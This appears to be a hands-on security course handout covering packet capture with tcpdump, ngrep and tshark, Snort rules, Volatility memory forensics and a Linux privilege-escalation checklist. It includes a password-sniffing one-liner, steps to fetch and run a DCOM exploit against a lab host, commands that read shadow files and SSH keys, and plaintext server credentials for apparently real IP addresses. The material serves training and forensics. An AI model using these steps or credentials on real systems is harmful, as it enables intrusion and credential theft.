 $ sudo tcpdump -n tcp
 ------------------------------------------------------------------------
 
 Particular host or port
 -----------------------
 Expressions can be used to specify source ip, destination ip, and port numbers. The next example picks up all those packets with source address 192.168.1.101
 ---------------------------Type This-----------------------------------
 $ sudo tcpdump -n 'src 192.168.1.101'
 ------------------------------------------------------------------------
 
 Next example picks up dns request packets, either those packets which originate from local machine and go to port 53 of some other machine.
 ---------------------------Type This-----------------------------------
 $ sudo tcpdump -n 'udp and dst port 53'
 ------------------------------------------------------------------------
 
 To display the FTP packets coming from 192.168.1.100 to 192.168.1.2
 ---------------------------Type This-----------------------------------
 $ sudo tcpdump 'src 192.168.1.100 and dst 192.168.1.2 and port ftp'
 ------------------------------------------------------------------------
 
 Search the network traffic using grep
 
 Grep can be used along with tcpdump to search the network traffic. Here is a very simple example
 ---------------------------Type This-----------------------------------
 $ sudo tcpdump -n -A | grep -e 'POST'
 ------------------------------------------------------------------------
 
 So what is the idea behind searching packets. Well one good thing can be to sniff passwords.
 Here is quick example to sniff passwords using egrep
 
 ---------------------------Type This-----------------------------------
 tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
 ------------------------------------------------------------------------
 
 
 
 #########
 # NGrep #
 #########
 
 Install ngrep on Ubuntu
 ---------------------------Type This-----------------------------------
 $ sudo apt-get install ngrep
 ------------------------------------------------------------------------
 
 Search network traffic for string "User-Agent: "
 ---------------------------Type This-----------------------------------
 $ sudo ngrep -d eth0 "User-Agent: " tcp and port 80
 ------------------------------------------------------------------------
 In the above command :
 a) tcp and port 80 - is the bpf filter (Berkeley Packet Filter) , that sniffs only TCP packet with port number 80
 b) The d option specifies the interface to sniff. eth0 in this case.
 c) "User-Agent: " is the string to search for. All packets that have that string are displayed.
 
 2. Search network packets for GET or POST requests :
 ---------------------------Type This-----------------------------------
 $ sudo ngrep -l -q -d eth0 "^GET |^POST " tcp and port 80
 ------------------------------------------------------------------------
 The l option makes the output buffered and the q option is for quiet ( Be quiet; don't output any information other than packet headers and their payloads (if relevant) ).
 
 3. ngrep without any options would simply capture all packets.
 ---------------------------Type This-----------------------------------
 $ sudo ngrep
 ------------------------------------------------------------------------
 
 Reference:
 https://dl.packetstormsecurity.net/papers/general/ngreptut.txt
 ---------------------------Type This-----------------------------------
 $ sudo ngrep -d eth0 -n 3
 
 $ sudo ngrep -d any port 25
 ------------------------------------------------------------------------
 
 This will let you monitor all activity crossing source or destination port 25
 (SMTP).
 ---------------------------Type This-----------------------------------
 $ sudo ngrep -wi -d wlan0 'user|pass' port 6667
 
 $ sudo ngrep -wi -d any 'user|pass' port 21
 ------------------------------------------------------------------------
 
 
 
 
 
 #############################
 # PCAP Analysis with tshark #
 #############################
 ---------------------------Type This-----------------------------------
 sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
 
 
 tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
 
 
 tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
 
 
 tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
 
 
 tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
 
 
 tshark -r suspicious-time.pcap -Y "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq
 
 tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq
 
 tshark -r suspicious-time.pcap -qz ip_hosts,tree
 
 tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
 
 tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
 
 
 whois rapidshare.com.eyu32.ru
 
 whois sploitme.com.cn
 
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
 
 tshark -r suspicious-time.pcap -qz http_req,tree
 
 tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
 
 
 
 ######################################
 # PCAP Analysis with forensicPCAP.py #
 ######################################
 ---------------------------Type This-----------------------------------
 cd ~/Desktop/suspiciouspcap/
 
 wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
 
 sudo pip install cmd2==0.7.9
 
 
 python forensicPCAP.py suspicious-time.pcap
 ------------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 ForPCAP >>> help
 ------------------------------------------------------------------------
 
 Prints stats about PCAP
 ---------------------------Type This-----------------------------------
 ForPCAP >>> stat
 ------------------------------------------------------------------------
 
 Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ---------------------------Type This-----------------------------------
 ForPCAP >>> dns
 
 ForPCAP >>> show
 ------------------------------------------------------------------------
 
 Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ---------------------------Type This-----------------------------------
 ForPCAP >>> dstports
 
 ForPCAP >>> show
 ---------------------------Type This-----------------------------------
 
 Prints the number of ip source and store them.
 ---------------------------Type This-----------------------------------
 ForPCAP >>> ipsrc
 
 ForPCAP >>> show
 ------------------------------------------------------------------------
 
 Prints the number of web's requests and store them
 ForPCAP >>> web
 
 ForPCAP >>> show
 ------------------------------------------------------------------------
 
 
 Prints the number of mail's requests and store them
 ---------------------------Type This-----------------------------------
 ForPCAP >>> mail
 
 ForPCAP >>> show
 ------------------------------------------------------------------------
 
 
 
 
 
 #############################
 # Understanding Snort rules #
 #############################
 Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)
 
 Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)
 
 Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)
 
 Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
 
 Field 5: Traffic Direction (->)
 
 Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)
 
 Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
 
 Field 8: MSG - what is actually displayed on the analysts machine
 
 
 Let's look at 2 simple rules
 ----------------------------------------------------------------------------------
 alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
 bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
 content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
 00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
 reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
 
 alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
 attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
 depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
 00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
 distance:0; within:1; content:”|0b|”; distance:1; within:1; \
 byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
 46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
 sid:2193; rev:1;)
 ----------------------------------------------------------------------------------
 
 
 
 From your Linux machine ping your Windows machine
 ---------------------------Type This-----------------------------------
 ping 192.168.11.1
 -----------------------------------------------------------------------
 
 
 Start wireshark and let's create some simple filters:
 
 Filter 1:
 ---------------------------Type This-----------------------------------
 ip.addr==192.168.11.1
 -----------------------------------------------------------------------
 
 Filter 2:
 ---------------------------Type This-----------------------------------
 ip.addr==192.168.11.1 && icmp
 -----------------------------------------------------------------------
 
 
 Filter 3:
 ---------------------------Type This-----------------------------------
 ip.addr==192.168.11.1 && !(tcp.port==22)
 -----------------------------------------------------------------------
 Now stop your capture and restart it (make sure you keep the filter)
 
 
 
 
 Back to your Linux machine:
 [ CTRL-C ] - to stop your ping
 ---------------------------Type This-----------------------------------
 wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c
 
 
 gcc -o exploit oc192-dcom.c
 
 ./exploit
 
 
 ./exploit -d 192.168.11.1 -t 0
  -----------------------------------------------------------------------
 
 
 
 Now go back to WireShark and stop the capture.
 
 
 
 
 ###################
 # Memory Analysis #
 ###################
 ---------------------------Type This-----------------------------------
 cd  ~/Desktop/
 
 sudo apt-get install -y foremost tcpxtract
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/hn_forensics.vmem
 
 git clone https://github.com/volatilityfoundation/volatility.git
 
 cd volatility
 sudo pip install distorm3
 sudo python setup.py install
 python vol.py -h
 python vol.py pslist -f ~/Desktop/hn_forensics.vmem
 python vol.py connscan -f ~/Desktop/hn_forensics.vmem
 mkdir dump/
 mkdir -p output/pdf/
 python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
 python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
                 ***Takes a few min***
 strings 1752.dmp | grep "^http://" | sort | uniq
 strings 1752.dmp | grep "Ahttps://" | uniq -u
 cd ..
 foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
 cd ~/Desktop/volatility/output/pdf/
 cat audit.txt
 cd pdf
 ls
 grep -i javascript *.pdf
 
 
 
 cd ~/Desktop/volatility/output/pdf/
 wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
 unzip pdf-parser_V0_6_4.zip
 python pdf-parser.py -s javascript --raw pdf/00601560.pdf
 python pdf-parser.py --object 11 00600328.pdf
 python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
 
 cat malicious.js
  -----------------------------------------------------------------------
 
 
 
 
 *****Sorry - no time to cover javascript de-obfuscation today*****
 
 
 
 
 ---------------------------Type This-----------------------------------
 cd ~/Desktop/volatility
 mkdir files2/
 python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
 python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
 python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
 -----------------------------------------------------------------------
 
 
                             ######################
 ----------- ############### # Intro to Reversing # ############### -----------
                             ######################
 Lab walk-through documents are in the zip file along with the executables that need to be reversed:
 https://s3.amazonaws.com/infosecaddictsfiles/Lena151.zip
 
 
 
 
 
 ##############################
 # Linux For InfoSec Homework #
 ##############################
 In order to receive your certificate of attendance you must complete the all of the quizzes on the http://linuxsurvival.com/linux-tutorial-introduction/ website.
 
 
 Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Homework.docx)
 
 
 
 
 ##############################
 # Linux For InfoSe Challenge #
 ##############################
 
 In order to receive your certificate of proficiency you must complete all of the tasks covered in the Linux For InfoSec pastebin (http://pastebin.com/eduSfPy3).
 
 Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Challenge.docx)
 
 
 
 
 IMPORTANT NOTE:
 Your homework/challenge must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST.
 
 
 #########################################################################
 # What kind of Linux am I on and how can I find out? 			        #
 # Great reference: 							                            #
 # https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ 	#
 #########################################################################
 - What’s the distribution type? What version?
 -------------------------------------------
 cat /etc/issue
 cat /etc/*-release
 cat /etc/lsb-release      		# Debian based
 cat /etc/redhat-release   		# Redhat based
 
 
 
 - What’s the kernel version? Is it 64-bit?
 -------------------------------------------
 cat /proc/version
 uname -a
 uname -mrs
 rpm -q kernel
 dmesg | grep Linux
 ls /boot | grep vmlinuz-
 
 
 
 - What can be learnt from the environmental variables?
 ----------------------------------------------------
 cat /etc/profile
 cat /etc/bashrc
 cat ~/.bash_profile
 cat ~/.bashrc
 cat ~/.bash_logout
 env
 set
 
 
 - What services are running? Which service has which user privilege?
 ------------------------------------------------------------------
 ps aux
 ps -ef
 top
 cat /etc/services
 
 
 - Which service(s) are been running by root? Of these services, which are vulnerable - it’s worth a double check!
 ---------------------------------------------------------------------------------------------------------------
 ps aux | grep root
 ps -ef | grep root
 
 
 
 - What applications are installed? What version are they? Are they currently running?
 ------------------------------------------------------------------------------------
 ls -alh /usr/bin/
 ls -alh /sbin/
 dpkg -l
 rpm -qa
 ls -alh /var/cache/apt/archivesO
 ls -alh /var/cache/yum/
 
 
 - Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
 ------------------------------------------------------------------------------------
 cat /etc/syslog.conf
 cat /etc/chttp.conf
 cat /etc/lighttpd.conf
 cat /etc/cups/cupsd.conf
 cat /etc/inetd.conf
 cat /etc/apache2/apache2.conf
 cat /etc/my.conf
 cat /etc/httpd/conf/httpd.conf
 cat /opt/lampp/etc/httpd.conf
 ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
 
 
 
 - What jobs are scheduled?
 ------------------------
 crontab -l
 ls -alh /var/spool/cron
 ls -al /etc/ | grep cron
 ls -al /etc/cron*
 cat /etc/cron*
 cat /etc/at.allow
 cat /etc/at.deny
 cat /etc/cron.allow
 cat /etc/cron.deny
 cat /etc/crontab
 cat /etc/anacrontab
 cat /var/spool/cron/crontabs/root
 
 
 - Any plain text usernames and/or passwords?
 ------------------------------------------
 grep -i user [filename]
 grep -i pass [filename]
 grep -C 5 "password" [filename]
 find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   		# Search for Joomla passwords
 
 
 - What NIC(s) does the system have? Is it connected to another network?
 ---------------------------------------------------------------------
 /sbin/ifconfig -a
 cat /etc/network/interfaces
 cat /etc/sysconfig/network
 
 
 - What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
 ------------------------------------------------------------------------------------------------------------------------
 cat /etc/resolv.conf
 cat /etc/sysconfig/network
 cat /etc/networks
 iptables -L
 hostname
 dnsdomainname
 
 - What other users & hosts are communicating with the system?
 -----------------------------------------------------------
 lsof -i
 lsof -i :80
 grep 80 /etc/services
 netstat -antup
 netstat -antpx
 netstat -tulpn
 chkconfig --list
 chkconfig --list | grep 3:on
 last
 w
 
 
 
 - Whats cached? IP and/or MAC addresses
 -------------------------------------
 arp -e
 route
 /sbin/route -nee
 
 
 - Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
 ------------------------------------------------------------------------------------------
 id
 who
 w
 last
 cat /etc/passwd | cut -d: -f1    # List of users
 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
 awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
 cat /etc/sudoers
 sudo -l
 
 
 
 - What sensitive files can be found?
 ----------------------------------
 cat /etc/passwd
 cat /etc/group
 cat /etc/shadow
 ls -alh /var/mail/
 
 
 
 - Anything “interesting” in the home directorie(s)? If it’s possible to access
 ----------------------------------------------------------------------------
 ls -ahlR /root/
 ls -ahlR /home/
 
 
 - Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
 ---------------------------------------------------------------------------------------------------------------------------
 cat /var/apache2/config.inc
 cat /var/lib/mysql/mysql/user.MYD
 cat /root/anaconda-ks.cfg
 
 
 - What has the user being doing? Is there any password in plain text? What have they been edting?
 -----------------------------------------------------------------------------------------------
 cat ~/.bash_history
 cat ~/.nano_history
 cat ~/.atftp_history
 cat ~/.mysql_history
 cat ~/.php_history
 
 
 
 - What user information can be found?
 -----------------------------------
 cat ~/.bashrc
 cat ~/.profile
 cat /var/mail/root
 cat /var/spool/mail/root
 
 
 - Can private-key information be found?
 -------------------------------------
 cat ~/.ssh/authorized_keys
 cat ~/.ssh/identity.pub
 cat ~/.ssh/identity
 cat ~/.ssh/id_rsa.pub
 cat ~/.ssh/id_rsa
 cat ~/.ssh/id_dsa.pub
 cat ~/.ssh/id_dsa
 cat /etc/ssh/ssh_config
 cat /etc/ssh/sshd_config
 cat /etc/ssh/ssh_host_dsa_key.pub
 cat /etc/ssh/ssh_host_dsa_key
 cat /etc/ssh/ssh_host_rsa_key.pub
 cat /etc/ssh/ssh_host_rsa_key
 cat /etc/ssh/ssh_host_key.pub
 cat /etc/ssh/ssh_host_key
 
 
 - Any settings/files (hidden) on website? Any settings file with database information?
 ------------------------------------------------------------------------------------
 ls -alhR /var/www/
 ls -alhR /srv/www/htdocs/
 ls -alhR /usr/local/www/apache22/data/
 ls -alhR /opt/lampp/htdocs/
 ls -alhR /var/www/html/
 
 
 - Is there anything in the log file(s) (Could help with “Local File Includes”!)
 -----------------------------------------------------------------------------
 cat /etc/httpd/logs/access_log
 cat /etc/httpd/logs/access.log
 cat /etc/httpd/logs/error_log
 cat /etc/httpd/logs/error.log
 cat /var/log/apache2/access_log
 cat /var/log/apache2/access.log
 cat /var/log/apache2/error_log
 cat /var/log/apache2/error.log
 cat /var/log/apache/access_log
 cat /var/log/apache/access.log
 cat /var/log/auth.log
 cat /var/log/chttp.log
 cat /var/log/cups/error_log
 cat /var/log/dpkg.log
 cat /var/log/faillog
 cat /var/log/httpd/access_log
 cat /var/log/httpd/access.log
 cat /var/log/httpd/error_log
 cat /var/log/httpd/error.log
 cat /var/log/lastlog
 cat /var/log/lighttpd/access.log
 cat /var/log/lighttpd/error.log
 cat /var/log/lighttpd/lighttpd.access.log
 cat /var/log/lighttpd/lighttpd.error.log
 cat /var/log/messages
 cat /var/log/secure
 cat /var/log/syslog
 cat /var/log/wtmp
 cat /var/log/xferlog
 cat /var/log/yum.log
 cat /var/run/utmp
 cat /var/webmin/miniserv.log
 cat /var/www/logs/access_log
 cat /var/www/logs/access.log
 ls -alh /var/lib/dhcp3/
 ls -alh /var/log/postgresql/
 ls -alh /var/log/proftpd/
 ls -alh /var/log/samba/
 
 - Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
 
 
 
 
 
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 ####################################
 # Day 2: Building a Perfect Server #
 ####################################
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 Task 1: Log in to your respective Linux server
 PMRF1 (Hugo/Ross)
 45.76.61.100
 pmrf	aegisashore
 
 PMRF2 (steve/jeff)
 155.138.213.248
 pmrf	aegisashore
 
 
 PMRF3 (elaine)
 155.138.198.202
 pmrf	aegisashore
 
 
 
 Task 2: Build the Perfect Server
 https://www.howtoforge.com/tutorial/perfect-server-centos-7-apache-mysql-php-pureftpd-postfix-dovecot-and-ispconfig/
 
 Important notes:
 Steps to skip
 skip all of step 1
 skip all of step 2
 skip all of step 3
 skip all of step 5
 
 Important notes:
 step 11 amavisd may not work. If it doesn't work just keep moving forward
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